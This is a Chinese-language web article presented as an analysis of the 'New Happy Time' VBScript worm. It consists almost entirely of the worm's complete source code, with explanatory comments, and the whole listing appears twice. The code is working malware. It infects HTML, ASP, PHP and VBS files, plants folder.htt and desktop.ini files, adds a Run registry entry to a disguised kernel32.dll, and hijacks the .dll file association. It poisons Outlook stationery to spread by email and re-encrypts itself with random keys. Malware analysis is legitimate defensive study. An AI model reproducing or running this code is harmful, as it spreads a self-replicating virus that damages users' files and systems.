新欢乐时光代码分析
程序员文章站
2022-03-12 22:13:38
<% dim inwhere, htmltext, vbstext, degreesign, appleobject...
<%
dim inwhere, htmltext, vbstext, degreesign, appleobject, fso, wsshell, winpath, sube, finalydisk
sub kj_start()
' 初始化变量
kjsetdim()
' 初始化环境
kjcreatemilieu()
' 感染本地或者共享上与html所在目录
kjlikeit()
' 通过vbs感染outlook邮件模板
kjcreatemail()
' 进行病毒传播
kjpropagate()
end sub
' 函数:kjappendto(filepath,typestr)
' 功能:向指定类型的指定文件追加病毒
' 参数:
' filepath 指定文件路径
' typestr 指定类型
function kjappendto(filepath, typestr)
on error resume next
' 以只读方式打开指定文件
set readtemp = fso.opentextfile(filepath, 1)
' 将文件内容读入到tmpstr变量中
tmpstr = readtemp.readall
' 判断文件中是否存在"kj_start()"字符串,若存在说明已经感染,退出函数;
' 若文件长度小于1,也退出函数。
if instr(tmpstr, "kj_start()") <> 0 or len(tmpstr) < 1 then
readtemp.close
exit function
end if
' 如果传过来的类型是"htt"
' 在文件头加上调用页面的时候加载kj_start()函数;
' 在文件尾追加html版本的加密病毒体。
' 如果是"html"
' 在文件尾追加调用页面的时候加载kj_start()函数和html版本的病毒体;
' 如果是"vbs"
' 在文件尾追加vbs版本的病毒体
if typestr = "htt" then
readtemp.close
set filetemp = fso.opentextfile(filepath, 2)
filetemp.write "<" & "body onload="""
& "vbscript:" & "kj_start()""" & ">" & vbcrlf & tmpstr & vbcrlf & htmltext
filetemp.close
set fattrib = fso.getfile(filepath)
fattrib.attributes = 34
else
readtemp.close
set filetemp = fso.opentextfile(filepath, 8)
if typestr = "html" then
filetemp.write vbcrlf & "<" & "html>" & vbcrlf & "<"
& "body onload=""" & "vbscript:" & "kj_start()""" & ">" & vbcrlf & htmltext
elseif typestr = "vbs" then
filetemp.write vbcrlf & vbstext
end if
filetemp.close
end if
end function
' 函数:kjchangesub(currentstring,lastindexchar)
' 功能:改变子目录以及盘符
' 参数:
' currentstring 当前目录
' lastindexchar 上一级目录在当前路径中的位置
function kjchangesub(currentstring, lastindexchar)
' 判断是否是根目录
if lastindexchar = 0 then
' 如果是根目录
' 如果是c:\,返回finalydisk盘,并将sube置为0,
' 如果不是c:\,返回将当前盘符递减1,并将sube置为0
if left(lcase(currentstring), 1) = < lcase("c") then
kjchangesub = finalydisk & ":\"
sube = 0
else
kjchangesub = chr(asc(left(lcase(currentstring), 1)) - 1) & ":\"
sube = 0
end if
else
' 如果不是根目录,则返回上一级目录名称
kjchangesub = mid(currentstring, 1, lastindexchar)
end if
end function
' 函数:kjcreatemail()
' 功能:感染邮件部分
function kjcreatemail()
on error resume next
' 如果当前执行文件是"html"的,就退出函数
if inwhere = "html" then
exit function
end if
' 取系统盘的空白页的路径
sharefile = left(winpath, 3) & "program files\common files\microsoft shared\stationery\blank.htm"
' 如果存在这个文件,就向其追加html的病毒体
' 否则生成含有病毒体的这个文件
if (fso.fileexists(sharefile)) then
call kjappendto(sharefile, "html")
else
set filetemp = fso.opentextfile(sharefile, 2, true)
filetemp.write "<" & "html>" & vbcrlf & "<" & "body onload=""" & "vbscript:" & "kj_start()""" & ">" & vbcrlf & htmltext
filetemp.close
end if
' 取得当前用户的id和outlook的版本
defaultid = wsshell.regread("hkey_current_user\identities\default user id")
outlookversion = wsshell.regread("hkey_local_machine\software\microsoft\outlook express\mediaver")
' 激活信纸功能,并感染所有信纸
wsshell.regwrite "hkey_current_user\identities\"&defaultid&"\software\microsoft\outlook express\"& left(outlookversion, 1) &".0\mail\compose use stationery", 1, "reg_dword"
call kjmailreg("hkey_current_user\identities\"&defaultid&"\software\microsoft\outlook express\"& left(outlookversion, 1) &".0\mail\stationery name", sharefile)
call kjmailreg("hkey_current_user\identities\"&defaultid&"\software\microsoft\outlook express\"& left(outlookversion, 1) &".0\mail\wide stationery name", sharefile)
wsshell.regwrite "hkey_current_user\software\microsoft\office\9.0\outlook\options\mail\editorpreference", 131072, "reg_dword"
call kjmailreg("hkey_current_user\software\microsoft\windows messaging subsystem\profiles\microsoft outlook internet settings\0a0d020000000000c000000000000046\001e0360", "blank")
call kjmailreg("hkey_current_user\software\microsoft\windows nt\currentversion\windows messaging subsystem\profiles\microsoft outlook internet settings\0a0d020000000000c000000000000046\001e0360", "blank")
wsshell.regwrite "hkey_current_user\software\microsoft\office\10.0\outlook\options\mail\editorpreference", 131072, "reg_dword"
call kjmailreg("hkey_current_user\software\microsoft\office\10.0\common\mailsettings\newstationery", "blank")
kjummagefolder(left(winpath, 3) & "program files\common files\microsoft shared\stationery")
end function
' 函数:kjcreatemilieu()
' 功能:创建系统环境
function kjcreatemilieu()
on error resume next
temppath = ""
' 判断操作系统是nt/2000还是9x
if not(fso.fileexists(winpath & "wscript.exe")) then
temppath = "system32\"
end if
' 为了文件名起到迷惑性,并且不会与系统文件冲突。
' 如果是nt/2000则启动文件为system\kernel32.dll
' 如果是9x启动文件则为system\kernel.dll
if temppath = "system32\" then
startupfile = winpath & "system\kernel32.dll"
else
startupfile = winpath & "system\kernel.dll"
end if
' 添加run值,添加刚才生成的启动文件路径
wsshell.regwrite "hkey_local_machine\software\microsoft\windows\currentversion\run\kernel32", startupfile
' 拷贝前期备份的文件到原来的目录
fso.copyfile winpath & "web\kjwall.gif", winpath & "web\folder.htt"
fso.copyfile winpath & "system32\kjwall.gif", winpath & "system32\desktop.ini"
' 向%windir%\web\folder.htt追加病毒体
call kjappendto(winpath & "web\folder.htt", "htt")
' 改变dll的mime头
' 改变dll的默认图标
' 改变dll的打开方式
wsshell.regwrite "hkey_classes_root\.dll\", "dllfile"
wsshell.regwrite "hkey_classes_root\.dll\content type", "application/x-msdownload"
wsshell.regwrite "hkey_classes_root\dllfile\defaulticon\", wsshell.regread("hkey_classes_root\vxdfile\defaulticon\")
wsshell.regwrite "hkey_classes_root\dllfile\scriptengine\", "vbscript"
wsshell.regwrite "hkey_classes_root\dllfile\shell\open\command\", winpath & temppath & "wscript.exe ""%1"" %*"
wsshell.regwrite "hkey_classes_root\dllfile\shellex\propertysheethandlers\wshprops\", "{60254ca5-953b-11cf-8c96-00aa00b8708c}"
wsshell.regwrite "hkey_classes_root\dllfile\scripthostencode\", "{85131631-480c-11d2-b1f9-00c04f86c324}"
' 启动时加载的病毒文件中写入病毒体
set filetemp = fso.opentextfile(startupfile, 2, true)
filetemp.write vbstext
filetemp.close
end function
' 函数:kjlikeit()
' 功能:针对html文件进行处理,如果访问的是本地的或者共享上的文件,将感染这个目录
function kjlikeit()
' 如果当前执行文件不是"html"的就退出程序
if inwhere <> "html" then
exit function
end if
' 取得文档当前路径
thislocation = document.location
' 如果是本地或网上共享文件
if left(thislocation, 4) = "file" then
thislocation = mid(thislocation, 9)
' 如果这个文件扩展名不为空,在thislocation中保存它的路径
if fso.getextensionname(thislocation) <> "" then
thislocation = left(thislocation, len(thislocation) - len(fso.getfilename(thislocation)))
end if
' 如果thislocation的长度大于3就尾追一个"\"
if len(thislocation) > 3 then
thislocation = thislocation & "\"
end if
' 感染这个目录
kjummagefolder(thislocation)
end if
end function
' 函数:kjmailreg(regstr,filename)
' 功能:如果注册表指定键值不存在,则向指定位置写入指定文件名
' 参数:
' regstr 注册表指定键值
' filename 指定文件名
function kjmailreg(regstr, filename)
on error resume next
' 如果注册表指定键值不存在,则向指定位置写入指定文件名
regtempstr = wsshell.regread(regstr)
if regtempstr = "" then
wsshell.regwrite regstr, filename
end if
end function
' 函数:kjobosub(currentstring)
' 功能:遍历并返回目录路径
' 参数:
' currentstring 当前目录
function kjobosub(currentstring)
sube = 0
testout = 0
do while true
testout = testout + 1
if testout > 28 then
currentstring = finalydisk & ":\"
exit do
end if
on error resume next
' 取得当前目录的所有子目录,并且放到字典中
set thisfolder = fso.getfolder(currentstring)
set dicsub = createobject("scripting.dictionary")
set folders = thisfolder.subfolders
foldercount = 0
for each tempfolder in folders
foldercount = foldercount + 1
dicsub.add foldercount, tempfolder.name
next
' 如果没有子目录了,就调用kjchangesub返回上一级目录或者更换盘符,并将sube置1
if dicsub.count = 0 then
lastindexchar = instrrev(currentstring, "\", len(currentstring) -1)
substring = mid(currentstring, lastindexchar + 1, len(currentstring) - lastindexchar -1)
currentstring = kjchangesub(currentstring, lastindexchar)
sube = 1
else
' 如果存在子目录
' 如果sube为0,则将currentstring变为它的第1个子目录
if sube = 0 then
currentstring = currentstring & dicsub.item(1) & "\"
exit do
else
' 如果sube为1,继续遍历子目录,并将下一个子目录返回
j = 0
for j = 1 to foldercount
if lcase(substring) = lcase(dicsub.item(j)) then
if j < foldercount then
currentstring = currentstring & dicsub.item(j + 1) & "\"
exit do
end if
end if
next
lastindexchar = instrrev(currentstring, "\", len(currentstring) -1)
substring = mid(currentstring, lastindexchar + 1, len(currentstring) - lastindexchar -1)
currentstring = kjchangesub(currentstring, lastindexchar)
end if
end if
loop
kjobosub = currentstring
end function
' 函数:kjpropagate()
' 功能:病毒传播
function kjpropagate()
on error resume next
regpathvalue = "hkey_local_machine\software\microsoft\outlook express\degree"
diskdegree = wsshell.regread(regpathvalue)
' 如果不存在degree这个键值,diskdegree则为finalydisk盘
if diskdegree = "" then
diskdegree = finalydisk & ":\"
end if
' 继diskdegree置后感染5个目录
for i = 1 to 5
diskdegree = kjobosub(diskdegree)
kjummagefolder(diskdegree)
next
' 将感染记录保存在"hkey_local_machine\software\microsoft\outlook express\degree"键值中
wsshell.regwrite regpathvalue, diskdegree
end function
' 函数:kjummagefolder(pathname)
' 功能:感染指定目录
' 参数:
' pathname 指定目录
function kjummagefolder(pathname)
on error resume next
' 取得目录中的所有文件集
set foldername = fso.getfolder(pathname)
set thisfiles = foldername.files
httexists = 0
for each thisfile in thisfiles
fileext = ucase(fso.getextensionname(thisfile.path))
' 判断扩展名
' 若是htm,html,asp,php,jsp则向文件中追加html版的病毒体
' 若是vbs则向文件中追加vbs版的病毒体
' 若是htt,则标志为已经存在htt了
if fileext = "htm" or fileext = "html" or fileext = "asp" or fileext = "php" or fileext = "jsp" then
call kjappendto(thisfile.path, "html")
elseif fileext = "vbs" then
call kjappendto(thisfile.path, "vbs")
elseif fileext = "htt" then
httexists = 1
end if
next
' 如果所给的路径是桌面,则标志为已经存在htt了
if (ucase(pathname) = ucase(winpath & "desktop\")) or (ucase(pathname) = ucase(winpath & "desktop"))then
httexists = 1
end if
' 如果不存在htt
' 向目录中追加病毒体
if httexists = 0 then
fso.copyfile winpath & "system32\desktop.ini", pathname
fso.copyfile winpath & "web\folder.htt", pathname
end if
end function
' 函数kjsetdim()
' 定义fso,wsshell对象
' 取得最后一个可用磁盘卷标
' 生成传染用的加密字串
' 备份系统中的web\folder.htt和system32\desktop.ini
function kjsetdim()
on error resume next
err.clear
' 测试当前执行文件是html还是vbs
testit = wscript.scriptfullname
if err then
inwhere = "html"
else
inwhere = "vbs"
end if
' 创建文件访问对象和shell对象
if inwhere = "vbs" then
set fso = createobject("scripting.filesystemobject")
set wsshell = createobject("wscript.shell")
else
set appleobject = document.applets("kj_guest")
appleobject.setclsid("{f935dc22-1cf0-11d0-adb9-00c04fd58a0b}")
appleobject.createinstance()
set wsshell = appleobject.getobject()
appleobject.setclsid("{0d43fe01-f093-11cf-8940-00a0c9054228}")
appleobject.createinstance()
set fso = appleobject.getobject()
end if
set diskobject = fso.drives
' 判断磁盘类型
'
' 0: unknown
' 1: removable
' 2: fixed
' 3: network
' 4: cd-rom
' 5: ram disk
' 如果不是可移动磁盘或者固定磁盘就跳出循环。可能作者考虑的是网络磁盘、cd-rom、ram disk都是在比较靠后的位置。呵呵,如果c:是ramdisk会怎么样?
for each disktemp in diskobject
if disktemp.drivetype <> 2 and disktemp.drivetype <> 1 then
exit for
end if
finalydisk = disktemp.driveletter
next
' 此前的这段病毒体已经解密,并且存放在thistext中,现在为了传播,需要对它进行再加密。
' 加密算法
dim otherarr(3)
randomize
' 随机生成4个算子
for i = 0 to 3
otherarr(i) = int((9 * rnd))
next
tempstring = ""
for i = 1 to len(thistext)
tempnum = asc(mid(thistext, i, 1))
'对回车、换行(0x0d,0x0a)做特别的处理
if tempnum = 13 then
tempnum = 28
elseif tempnum = 10 then
tempnum = 29
end if
'很简单的加密处理,每个字符减去相应的算子,那么在解密的时候只要按照这个顺序每个字符加上相应的算子就可以了。
tempchar = chr(tempnum - otherarr(i mod 4))
if tempchar = chr(34) then
tempchar = chr(18)
end if
tempstring = tempstring & tempchar
next
' 含有解密算法的字串
unlockstr = "execute(""dim keyarr(3),thistext""&vbcrlf&""keyarr(0) = " & otherarr(0) & """&vbcrlf&""keyarr(1) = " & otherarr(1) & """&vbcrlf&""keyarr(2) = " & otherarr(2) & """&vbcrlf&""keyarr(3) = " & otherarr(3) & """&vbcrlf&""for i=1 to len(exestring)""&vbcrlf&""tempnum = asc(mid(exestring,i,1))""&vbcrlf&""if tempnum = 18 then""&vbcrlf&""tempnum = 34""&vbcrlf&""end if""&vbcrlf&""tempchar = chr(tempnum + keyarr(i mod 4))""&vbcrlf&""if tempchar = chr(28) then""&vbcrlf&""tempchar = vbcr""&vbcrlf&""elseif tempchar = chr(29) then""&vbcrlf&""tempchar = vblf""&vbcrlf&""end if""&vbcrlf&""thistext = thistext & tempchar""&vbcrlf&""next"")" & vbcrlf & "execute(thistext)"
' 将加密好的病毒体复制给变量 thistext
thistext = "exestring = """ & tempstring & """"
' 生成html感染用的脚本
htmltext = "<" & "script language=vbscript>" & vbcrlf & "document.write " & """" & "<" & "div style='position:absolute; left:0px; top:0px; width:0px; height:0px; z-index:28; visibility: hidden'>" & "<""&""" & "applet name=kj""&""_guest height=0 width=0 code=com.ms.""&""activex.active""&""xcomponent>" & "<" & "/applet>" & "<" & "/div>""" & vbcrlf & "<" & "/script>" & vbcrlf & "<" & "script language=vbscript>" & vbcrlf & thistext & vbcrlf & unlockstr & vbcrlf & "<" & "/script>" & vbcrlf & "<" & "/body>" & vbcrlf & "<" & "/html>"
' 生成vbs感染用的脚本
vbstext = thistext & vbcrlf & unlockstr & vbcrlf & "kj_start()"
' 取得windows目录
' getspecialfolder(n)
' 0: windowsfolder
' 1: systemfolder
' 2: temporaryfolder
' 如果系统目录存在web\folder.htt和system32\desktop.ini,则用kjwall.gif文件名备份它们。
winpath = fso.getspecialfolder(0) & "\"
if (fso.fileexists(winpath & "web\folder.htt")) then
fso.copyfile winpath & "web\folder.htt", winpath & "web\kjwall.gif"
end if
if (fso.fileexists(winpath & "system32\desktop.ini")) then
fso.copyfile winpath & "system32\desktop.ini", winpath & "system32\kjwall.gif"
end if
end function
%>
dim inwhere, htmltext, vbstext, degreesign, appleobject, fso, wsshell, winpath, sube, finalydisk
sub kj_start()
' 初始化变量
kjsetdim()
' 初始化环境
kjcreatemilieu()
' 感染本地或者共享上与html所在目录
kjlikeit()
' 通过vbs感染outlook邮件模板
kjcreatemail()
' 进行病毒传播
kjpropagate()
end sub
' 函数:kjappendto(filepath,typestr)
' 功能:向指定类型的指定文件追加病毒
' 参数:
' filepath 指定文件路径
' typestr 指定类型
function kjappendto(filepath, typestr)
on error resume next
' 以只读方式打开指定文件
set readtemp = fso.opentextfile(filepath, 1)
' 将文件内容读入到tmpstr变量中
tmpstr = readtemp.readall
' 判断文件中是否存在"kj_start()"字符串,若存在说明已经感染,退出函数;
' 若文件长度小于1,也退出函数。
if instr(tmpstr, "kj_start()") <> 0 or len(tmpstr) < 1 then
readtemp.close
exit function
end if
' 如果传过来的类型是"htt"
' 在文件头加上调用页面的时候加载kj_start()函数;
' 在文件尾追加html版本的加密病毒体。
' 如果是"html"
' 在文件尾追加调用页面的时候加载kj_start()函数和html版本的病毒体;
' 如果是"vbs"
' 在文件尾追加vbs版本的病毒体
if typestr = "htt" then
readtemp.close
set filetemp = fso.opentextfile(filepath, 2)
filetemp.write "<" & "body onload="""
& "vbscript:" & "kj_start()""" & ">" & vbcrlf & tmpstr & vbcrlf & htmltext
filetemp.close
set fattrib = fso.getfile(filepath)
fattrib.attributes = 34
else
readtemp.close
set filetemp = fso.opentextfile(filepath, 8)
if typestr = "html" then
filetemp.write vbcrlf & "<" & "html>" & vbcrlf & "<"
& "body onload=""" & "vbscript:" & "kj_start()""" & ">" & vbcrlf & htmltext
elseif typestr = "vbs" then
filetemp.write vbcrlf & vbstext
end if
filetemp.close
end if
end function
' 函数:kjchangesub(currentstring,lastindexchar)
' 功能:改变子目录以及盘符
' 参数:
' currentstring 当前目录
' lastindexchar 上一级目录在当前路径中的位置
function kjchangesub(currentstring, lastindexchar)
' 判断是否是根目录
if lastindexchar = 0 then
' 如果是根目录
' 如果是c:\,返回finalydisk盘,并将sube置为0,
' 如果不是c:\,返回将当前盘符递减1,并将sube置为0
if left(lcase(currentstring), 1) = < lcase("c") then
kjchangesub = finalydisk & ":\"
sube = 0
else
kjchangesub = chr(asc(left(lcase(currentstring), 1)) - 1) & ":\"
sube = 0
end if
else
' 如果不是根目录,则返回上一级目录名称
kjchangesub = mid(currentstring, 1, lastindexchar)
end if
end function
' 函数:kjcreatemail()
' 功能:感染邮件部分
function kjcreatemail()
on error resume next
' 如果当前执行文件是"html"的,就退出函数
if inwhere = "html" then
exit function
end if
' 取系统盘的空白页的路径
sharefile = left(winpath, 3) & "program files\common files\microsoft shared\stationery\blank.htm"
' 如果存在这个文件,就向其追加html的病毒体
' 否则生成含有病毒体的这个文件
if (fso.fileexists(sharefile)) then
call kjappendto(sharefile, "html")
else
set filetemp = fso.opentextfile(sharefile, 2, true)
filetemp.write "<" & "html>" & vbcrlf & "<" & "body onload=""" & "vbscript:" & "kj_start()""" & ">" & vbcrlf & htmltext
filetemp.close
end if
' 取得当前用户的id和outlook的版本
defaultid = wsshell.regread("hkey_current_user\identities\default user id")
outlookversion = wsshell.regread("hkey_local_machine\software\microsoft\outlook express\mediaver")
' 激活信纸功能,并感染所有信纸
wsshell.regwrite "hkey_current_user\identities\"&defaultid&"\software\microsoft\outlook express\"& left(outlookversion, 1) &".0\mail\compose use stationery", 1, "reg_dword"
call kjmailreg("hkey_current_user\identities\"&defaultid&"\software\microsoft\outlook express\"& left(outlookversion, 1) &".0\mail\stationery name", sharefile)
call kjmailreg("hkey_current_user\identities\"&defaultid&"\software\microsoft\outlook express\"& left(outlookversion, 1) &".0\mail\wide stationery name", sharefile)
wsshell.regwrite "hkey_current_user\software\microsoft\office\9.0\outlook\options\mail\editorpreference", 131072, "reg_dword"
call kjmailreg("hkey_current_user\software\microsoft\windows messaging subsystem\profiles\microsoft outlook internet settings\0a0d020000000000c000000000000046\001e0360", "blank")
call kjmailreg("hkey_current_user\software\microsoft\windows nt\currentversion\windows messaging subsystem\profiles\microsoft outlook internet settings\0a0d020000000000c000000000000046\001e0360", "blank")
wsshell.regwrite "hkey_current_user\software\microsoft\office\10.0\outlook\options\mail\editorpreference", 131072, "reg_dword"
call kjmailreg("hkey_current_user\software\microsoft\office\10.0\common\mailsettings\newstationery", "blank")
kjummagefolder(left(winpath, 3) & "program files\common files\microsoft shared\stationery")
end function
' 函数:kjcreatemilieu()
' 功能:创建系统环境
function kjcreatemilieu()
on error resume next
temppath = ""
' 判断操作系统是nt/2000还是9x
if not(fso.fileexists(winpath & "wscript.exe")) then
temppath = "system32\"
end if
' 为了文件名起到迷惑性,并且不会与系统文件冲突。
' 如果是nt/2000则启动文件为system\kernel32.dll
' 如果是9x启动文件则为system\kernel.dll
if temppath = "system32\" then
startupfile = winpath & "system\kernel32.dll"
else
startupfile = winpath & "system\kernel.dll"
end if
' 添加run值,添加刚才生成的启动文件路径
wsshell.regwrite "hkey_local_machine\software\microsoft\windows\currentversion\run\kernel32", startupfile
' 拷贝前期备份的文件到原来的目录
fso.copyfile winpath & "web\kjwall.gif", winpath & "web\folder.htt"
fso.copyfile winpath & "system32\kjwall.gif", winpath & "system32\desktop.ini"
' 向%windir%\web\folder.htt追加病毒体
call kjappendto(winpath & "web\folder.htt", "htt")
' 改变dll的mime头
' 改变dll的默认图标
' 改变dll的打开方式
wsshell.regwrite "hkey_classes_root\.dll\", "dllfile"
wsshell.regwrite "hkey_classes_root\.dll\content type", "application/x-msdownload"
wsshell.regwrite "hkey_classes_root\dllfile\defaulticon\", wsshell.regread("hkey_classes_root\vxdfile\defaulticon\")
wsshell.regwrite "hkey_classes_root\dllfile\scriptengine\", "vbscript"
wsshell.regwrite "hkey_classes_root\dllfile\shell\open\command\", winpath & temppath & "wscript.exe ""%1"" %*"
wsshell.regwrite "hkey_classes_root\dllfile\shellex\propertysheethandlers\wshprops\", "{60254ca5-953b-11cf-8c96-00aa00b8708c}"
wsshell.regwrite "hkey_classes_root\dllfile\scripthostencode\", "{85131631-480c-11d2-b1f9-00c04f86c324}"
' 启动时加载的病毒文件中写入病毒体
set filetemp = fso.opentextfile(startupfile, 2, true)
filetemp.write vbstext
filetemp.close
end function
' 函数:kjlikeit()
' 功能:针对html文件进行处理,如果访问的是本地的或者共享上的文件,将感染这个目录
function kjlikeit()
' 如果当前执行文件不是"html"的就退出程序
if inwhere <> "html" then
exit function
end if
' 取得文档当前路径
thislocation = document.location
' 如果是本地或网上共享文件
if left(thislocation, 4) = "file" then
thislocation = mid(thislocation, 9)
' 如果这个文件扩展名不为空,在thislocation中保存它的路径
if fso.getextensionname(thislocation) <> "" then
thislocation = left(thislocation, len(thislocation) - len(fso.getfilename(thislocation)))
end if
' 如果thislocation的长度大于3就尾追一个"\"
if len(thislocation) > 3 then
thislocation = thislocation & "\"
end if
' 感染这个目录
kjummagefolder(thislocation)
end if
end function
' 函数:kjmailreg(regstr,filename)
' 功能:如果注册表指定键值不存在,则向指定位置写入指定文件名
' 参数:
' regstr 注册表指定键值
' filename 指定文件名
function kjmailreg(regstr, filename)
on error resume next
' 如果注册表指定键值不存在,则向指定位置写入指定文件名
regtempstr = wsshell.regread(regstr)
if regtempstr = "" then
wsshell.regwrite regstr, filename
end if
end function
' 函数:kjobosub(currentstring)
' 功能:遍历并返回目录路径
' 参数:
' currentstring 当前目录
function kjobosub(currentstring)
sube = 0
testout = 0
do while true
testout = testout + 1
if testout > 28 then
currentstring = finalydisk & ":\"
exit do
end if
on error resume next
' 取得当前目录的所有子目录,并且放到字典中
set thisfolder = fso.getfolder(currentstring)
set dicsub = createobject("scripting.dictionary")
set folders = thisfolder.subfolders
foldercount = 0
for each tempfolder in folders
foldercount = foldercount + 1
dicsub.add foldercount, tempfolder.name
next
' 如果没有子目录了,就调用kjchangesub返回上一级目录或者更换盘符,并将sube置1
if dicsub.count = 0 then
lastindexchar = instrrev(currentstring, "\", len(currentstring) -1)
substring = mid(currentstring, lastindexchar + 1, len(currentstring) - lastindexchar -1)
currentstring = kjchangesub(currentstring, lastindexchar)
sube = 1
else
' 如果存在子目录
' 如果sube为0,则将currentstring变为它的第1个子目录
if sube = 0 then
currentstring = currentstring & dicsub.item(1) & "\"
exit do
else
' 如果sube为1,继续遍历子目录,并将下一个子目录返回
j = 0
for j = 1 to foldercount
if lcase(substring) = lcase(dicsub.item(j)) then
if j < foldercount then
currentstring = currentstring & dicsub.item(j + 1) & "\"
exit do
end if
end if
next
lastindexchar = instrrev(currentstring, "\", len(currentstring) -1)
substring = mid(currentstring, lastindexchar + 1, len(currentstring) - lastindexchar -1)
currentstring = kjchangesub(currentstring, lastindexchar)
end if
end if
loop
kjobosub = currentstring
end function
' 函数:kjpropagate()
' 功能:病毒传播
function kjpropagate()
on error resume next
regpathvalue = "hkey_local_machine\software\microsoft\outlook express\degree"
diskdegree = wsshell.regread(regpathvalue)
' 如果不存在degree这个键值,diskdegree则为finalydisk盘
if diskdegree = "" then
diskdegree = finalydisk & ":\"
end if
' 继diskdegree置后感染5个目录
for i = 1 to 5
diskdegree = kjobosub(diskdegree)
kjummagefolder(diskdegree)
next
' 将感染记录保存在"hkey_local_machine\software\microsoft\outlook express\degree"键值中
wsshell.regwrite regpathvalue, diskdegree
end function
' 函数:kjummagefolder(pathname)
' 功能:感染指定目录
' 参数:
' pathname 指定目录
function kjummagefolder(pathname)
on error resume next
' 取得目录中的所有文件集
set foldername = fso.getfolder(pathname)
set thisfiles = foldername.files
httexists = 0
for each thisfile in thisfiles
fileext = ucase(fso.getextensionname(thisfile.path))
' 判断扩展名
' 若是htm,html,asp,php,jsp则向文件中追加html版的病毒体
' 若是vbs则向文件中追加vbs版的病毒体
' 若是htt,则标志为已经存在htt了
if fileext = "htm" or fileext = "html" or fileext = "asp" or fileext = "php" or fileext = "jsp" then
call kjappendto(thisfile.path, "html")
elseif fileext = "vbs" then
call kjappendto(thisfile.path, "vbs")
elseif fileext = "htt" then
httexists = 1
end if
next
' 如果所给的路径是桌面,则标志为已经存在htt了
if (ucase(pathname) = ucase(winpath & "desktop\")) or (ucase(pathname) = ucase(winpath & "desktop"))then
httexists = 1
end if
' 如果不存在htt
' 向目录中追加病毒体
if httexists = 0 then
fso.copyfile winpath & "system32\desktop.ini", pathname
fso.copyfile winpath & "web\folder.htt", pathname
end if
end function
' 函数kjsetdim()
' 定义fso,wsshell对象
' 取得最后一个可用磁盘卷标
' 生成传染用的加密字串
' 备份系统中的web\folder.htt和system32\desktop.ini
function kjsetdim()
on error resume next
err.clear
' 测试当前执行文件是html还是vbs
testit = wscript.scriptfullname
if err then
inwhere = "html"
else
inwhere = "vbs"
end if
' 创建文件访问对象和shell对象
if inwhere = "vbs" then
set fso = createobject("scripting.filesystemobject")
set wsshell = createobject("wscript.shell")
else
set appleobject = document.applets("kj_guest")
appleobject.setclsid("{f935dc22-1cf0-11d0-adb9-00c04fd58a0b}")
appleobject.createinstance()
set wsshell = appleobject.getobject()
appleobject.setclsid("{0d43fe01-f093-11cf-8940-00a0c9054228}")
appleobject.createinstance()
set fso = appleobject.getobject()
end if
set diskobject = fso.drives
' 判断磁盘类型
'
' 0: unknown
' 1: removable
' 2: fixed
' 3: network
' 4: cd-rom
' 5: ram disk
' 如果不是可移动磁盘或者固定磁盘就跳出循环。可能作者考虑的是网络磁盘、cd-rom、ram disk都是在比较靠后的位置。呵呵,如果c:是ramdisk会怎么样?
for each disktemp in diskobject
if disktemp.drivetype <> 2 and disktemp.drivetype <> 1 then
exit for
end if
finalydisk = disktemp.driveletter
next
' 此前的这段病毒体已经解密,并且存放在thistext中,现在为了传播,需要对它进行再加密。
' 加密算法
dim otherarr(3)
randomize
' 随机生成4个算子
for i = 0 to 3
otherarr(i) = int((9 * rnd))
next
tempstring = ""
for i = 1 to len(thistext)
tempnum = asc(mid(thistext, i, 1))
'对回车、换行(0x0d,0x0a)做特别的处理
if tempnum = 13 then
tempnum = 28
elseif tempnum = 10 then
tempnum = 29
end if
'很简单的加密处理,每个字符减去相应的算子,那么在解密的时候只要按照这个顺序每个字符加上相应的算子就可以了。
tempchar = chr(tempnum - otherarr(i mod 4))
if tempchar = chr(34) then
tempchar = chr(18)
end if
tempstring = tempstring & tempchar
next
' 含有解密算法的字串
unlockstr = "execute(""dim keyarr(3),thistext""&vbcrlf&""keyarr(0) = " & otherarr(0) & """&vbcrlf&""keyarr(1) = " & otherarr(1) & """&vbcrlf&""keyarr(2) = " & otherarr(2) & """&vbcrlf&""keyarr(3) = " & otherarr(3) & """&vbcrlf&""for i=1 to len(exestring)""&vbcrlf&""tempnum = asc(mid(exestring,i,1))""&vbcrlf&""if tempnum = 18 then""&vbcrlf&""tempnum = 34""&vbcrlf&""end if""&vbcrlf&""tempchar = chr(tempnum + keyarr(i mod 4))""&vbcrlf&""if tempchar = chr(28) then""&vbcrlf&""tempchar = vbcr""&vbcrlf&""elseif tempchar = chr(29) then""&vbcrlf&""tempchar = vblf""&vbcrlf&""end if""&vbcrlf&""thistext = thistext & tempchar""&vbcrlf&""next"")" & vbcrlf & "execute(thistext)"
' 将加密好的病毒体复制给变量 thistext
thistext = "exestring = """ & tempstring & """"
' 生成html感染用的脚本
htmltext = "<" & "script language=vbscript>" & vbcrlf & "document.write " & """" & "<" & "div style='position:absolute; left:0px; top:0px; width:0px; height:0px; z-index:28; visibility: hidden'>" & "<""&""" & "applet name=kj""&""_guest height=0 width=0 code=com.ms.""&""activex.active""&""xcomponent>" & "<" & "/applet>" & "<" & "/div>""" & vbcrlf & "<" & "/script>" & vbcrlf & "<" & "script language=vbscript>" & vbcrlf & thistext & vbcrlf & unlockstr & vbcrlf & "<" & "/script>" & vbcrlf & "<" & "/body>" & vbcrlf & "<" & "/html>"
' 生成vbs感染用的脚本
vbstext = thistext & vbcrlf & unlockstr & vbcrlf & "kj_start()"
' 取得windows目录
' getspecialfolder(n)
' 0: windowsfolder
' 1: systemfolder
' 2: temporaryfolder
' 如果系统目录存在web\folder.htt和system32\desktop.ini,则用kjwall.gif文件名备份它们。
winpath = fso.getspecialfolder(0) & "\"
if (fso.fileexists(winpath & "web\folder.htt")) then
fso.copyfile winpath & "web\folder.htt", winpath & "web\kjwall.gif"
end if
if (fso.fileexists(winpath & "system32\desktop.ini")) then
fso.copyfile winpath & "system32\desktop.ini", winpath & "system32\kjwall.gif"
end if
end function
%>
上一篇: NET IIS暴绝对路径漏洞
下一篇: 风讯4.0未公开Bug